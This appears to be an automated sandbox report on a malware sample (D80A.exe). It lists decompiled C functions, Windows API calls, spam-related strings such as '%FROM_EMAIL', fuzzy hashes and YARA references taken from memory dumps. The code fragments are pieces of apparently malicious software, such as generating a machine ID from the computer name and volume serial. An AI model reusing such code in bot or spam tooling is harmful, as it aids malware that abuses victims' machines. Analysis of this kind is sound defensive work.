API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 9ae727bc03e3a647016d1a17286895492352c477f613c7904a32ac3000c388d7
Instruction ID: e93b5d0a0da550c232f58a73e193ad86b257ab94a4c8e622aad66718629500df
Opcode Fuzzy Hash: 9ae727bc03e3a647016d1a17286895492352c477f613c7904a32ac3000c388d7
Instruction Fuzzy Hash: 6121AC71500248DFDF25DFA8DC849EA37A8FB44709F21406AFA24C2261EB32DAC4CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00868F3E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00868F52
GetTickCount.KERNEL32 ref: 00868FF1

Strings

0t, xrefs: 00868F52, 00868FF1

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CountTick
String ID: 0t
API String ID: 536389180-1355922044
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1f59e93cc7d6b6fdfed61aa6e23313ee5763cbeb6e9cddf68ccf4db5f1fda054
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 9A21B432600219EFDB10DF68D895A9ABBBBFF00311B264269F408EB111CF70EE408B58

Uniqueness

Uniqueness Score: -1.00%

Function 0086C21E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086C220
wsprintfA.USER32 ref: 0086C2B0

Strings

0t, xrefs: 0086C220

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: 0t
API String ID: 2424974917-1355922044
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00867086, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 008670A5
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 008670DD

Strings

|, xrefs: 008670CF

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: 454949033e5f89a69f9adfd3e1c32bdbc78ed138cf2f6408ae329ba1d305ed0c
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 0211E57290411CEBDB22DBD5CC84ADEB7BCFB05705F1542A7E502E6190DA709B889BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00424630, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

__onexit_nolock.LIBCMTD ref: 00424672

Strings

EB, xrefs: 0042466E, 00424671
EB, xrefs: 00424659, 00424694

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __onexit_nolock
String ID: EB$EB
API String ID: 3534810919-1074762305
Opcode ID: 46382b13d51bca1d2d0fe47b7e869c6eb93879fde1b65de779184346204bdad9
Instruction ID: be69d11c9ee629233d42a517ae52d1d785b40e82c02dd61efb0de396e2ea188b
Opcode Fuzzy Hash: 46382b13d51bca1d2d0fe47b7e869c6eb93879fde1b65de779184346204bdad9
Instruction Fuzzy Hash: A5F0A4B2E04759ABC710CFA5EC41B9FBBB8FB45728F60462BF42593680D73D9500CA95

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 004400D0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

std::_Generic_error_category::_Generic_error_category.LIBCPMTD ref: 004400DA
_atexit.LIBCMTD ref: 004400E4

Strings

8w, xrefs: 004400D5

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Generic_error_categoryGeneric_error_category::__atexitstd::_
String ID: 8w
API String ID: 3960646304-1037028600
Opcode ID: 51c1b1dc9580b07cd61b3bdea853e3c8e1ffc08c03309e63488c9eacbbc010cd
Instruction ID: 7988a4f613083f2be98b2cac91b42d4accbbe3c8dfb8c4293cc3f0c3b6cbbc83
Opcode Fuzzy Hash: 51c1b1dc9580b07cd61b3bdea853e3c8e1ffc08c03309e63488c9eacbbc010cd
Instruction Fuzzy Hash: 78B092BA6A075822961131A73803926724984C0B28B59023BB60D022426C6EB9A550BF

Uniqueness

Uniqueness Score: -1.00%

Function 00440130, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

std::_Init_locks::_Init_locks.LIBCPMTD ref: 0044013A
_atexit.LIBCMTD ref: 00440144

Strings

h:w, xrefs: 00440135

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Init_locksInit_locks::__atexitstd::_
String ID: h:w
API String ID: 1385502269-1380809068
Opcode ID: 884ddb82e50e6901e2624fbe81d9b0f530ea3935b008e8849d784e3377ec6289
Instruction ID: 8258348edb7497eda1e9751d0b486368663a8938ef31a2c8f4cec61bf6fddff2
Opcode Fuzzy Hash: 884ddb82e50e6901e2624fbe81d9b0f530ea3935b008e8849d784e3377ec6289
Instruction Fuzzy Hash: CCB09B79550244525500319B3847515314D44C171C7594476B51D411821C59B950506F

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
0x00402fc1
0x00402fc3
0x00402fc5
0x00402fca
0x00402fcd
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fdb
0x00402fe3
0x00402fe8
0x004030ad
0x00000000
0x004030af
0x00402ff3
0x00402ff4
0x00402ff7
0x00402ff9
0x00402ffd
0x00403001
0x00403017
0x0040301a
0x00403021
0x00403028
0x0040302b
0x0040302e
0x00403031
0x00403034
0x00403034
0x00403036
0x00403037
0x00403049
0x00403051
0x00403054
0x00403057
0x00403059
0x0040305c
0x0040305c
0x0040305e
0x0040305f
0x0040306b
0x00403070
0x00403076
0x00403079
0x0040307c
0x0040307c
0x0040307e
0x0040307f
0x00000000
0x00000000
0x00000000
0x00000000
0x00403003
0x00403003
0x0040300d
0x0040300f
0x0040300f
0x0040300f
0x00403012
0x00403013
0x00000000
0x00403083
0x0040308f
0x00403094
0x0040309d
0x004030a0
0x004030a3
0x004030a4
0x00000000
0x00402ff7
0x00402f4f
0x00402f4f
0x00402f52
0x00402f54
0x00402f54
0x00402f57
0x00402f57
0x00402f59
0x00402f5a
0x00402f66
0x00402f6e
0x00402f7a
0x00000000
0x00402f7a
0x00000000

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,74E5EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00863172, Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00862F71: GetModuleHandleA.KERNEL32(?), ref: 00862F8A
Part of subcall function 00862F71: LoadLibraryA.KERNEL32(?), ref: 00862F9A

GetProcessHeap.KERNEL32(00000000,00000000), ref: 008631C3
HeapFree.KERNEL32(00000000), ref: 008631CA

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: 260db41b772dd26bd4ee16db5682119d53af5d98ec362723f056832e6da93ede
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: 8B51AD7190024AAFCF029F68D8889FAB7B5FF16305F164569EC96C7211E772DB19CB80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D80A.exe PID: 3044 Parent PID: 3352 D80A.exeCOMMON

Executed Functions

Function 0305DDF0, Relevance: .6, Instructions: 618COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c184712baa15f56e4485ffeb251cbefc603215b14bae8b307fc032b3114664b
Instruction ID: 52edc06e709dda1e13b495974fac135161bb747eddfe1fcbb1f8be88f2543cbd
Opcode Fuzzy Hash: 8c184712baa15f56e4485ffeb251cbefc603215b14bae8b307fc032b3114664b
Instruction Fuzzy Hash: 1D22C070B022159FCB25DF64C8446AFBBE6EF88700F188869FC468B294CB30DE45DB91

Uniqueness

Uniqueness Score: -1.00%

Function 03058590, Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 001f682a527a9de81442a1651f613c2cb18afb3bed62903b294d463b8fc45bee
Instruction ID: e0e2789ec890c4b2af198c4903775038212151ad6150ea03c7f15bd157b4a43b
Opcode Fuzzy Hash: 001f682a527a9de81442a1651f613c2cb18afb3bed62903b294d463b8fc45bee
Instruction Fuzzy Hash: 8522AF70B022099FDB11CF68D880AAEBBF6FF85304F1985A5E915DB251DB30ED46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03050040, Relevance: 2.8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

g!m, xrefs: 0305007B
hC!m, xrefs: 03050123

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID: hC!m$g!m
API String ID: 0-2031235393
Opcode ID: c67cf4894a618f67913d81f7946c53ced98d7bb7d12006ad6a8cec9a85e93423
Instruction ID: ff8eca5afcb2da1c43b3cd03d27cb851377026cfdcc53c212ab395e985755512
Opcode Fuzzy Hash: c67cf4894a618f67913d81f7946c53ced98d7bb7d12006ad6a8cec9a85e93423
Instruction Fuzzy Hash: 7A91B530B062058F9BA5D7B8C86566F77DEEFD2604B0848A5E816CF269DF68CD418363

Uniqueness

Uniqueness Score: -1.00%

Function 03056669, Relevance: 1.7, Strings: 1, Instructions: 466COMMON

Download Yara Rule

Strings

3o, xrefs: 03056B67

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID: 3o
API String ID: 0-3445067109
Opcode ID: 4414336481f70841ea0adc89b5689fbe23a958f867cd403b6ede9921cb0d9d77
Instruction ID: 82bcff92bab3e6d2733b68ee255416a9d783b9c36d69891e1f38d08174ec9fab
Opcode Fuzzy Hash: 4414336481f70841ea0adc89b5689fbe23a958f867cd403b6ede9921cb0d9d77
Instruction Fuzzy Hash: 55124734B016088FCB44DF29C498A6ABBF6FF89304B5588A9E906CB371DB35EC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0305C608, Relevance: 1.6, Strings: 1, Instructions: 339COMMON

Download Yara Rule

Strings

d, xrefs: 0305C8AF

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 83238b999e2580c309766f5f88aeefc2fba2072b4a6582310c5875433ebf793c
Instruction ID: 133178f5b9e5e1d7c8230270d5258d9ba2cfa0e3c7fa971b13958e0360ef431b
Opcode Fuzzy Hash: 83238b999e2580c309766f5f88aeefc2fba2072b4a6582310c5875433ebf793c
Instruction Fuzzy Hash: 55D17C31601B06CFD710CF58C884C6ABBFAFF8431475AC9A9E9598B6A6D730F955CB80

Uniqueness

Uniqueness Score: -1.00%

Function 03057B80, Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

d, xrefs: 03057DE1

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: e463ad6a513c14e73851a47abc60687905e293ce0453ad95ffdb1dc8b9618517
Instruction ID: 67da14201d161b8972c5524ec4110b9acfe0d501aee40fec9bfbfcc7d33d9215
Opcode Fuzzy Hash: e463ad6a513c14e73851a47abc60687905e293ce0453ad95ffdb1dc8b9618517
Instruction Fuzzy Hash: 83C16A34A006058FCB15CF59C4809AAB7F7FF88714B59C9A9E95A8B361D730FC41DB90

Uniqueness

Uniqueness Score: -1.00%

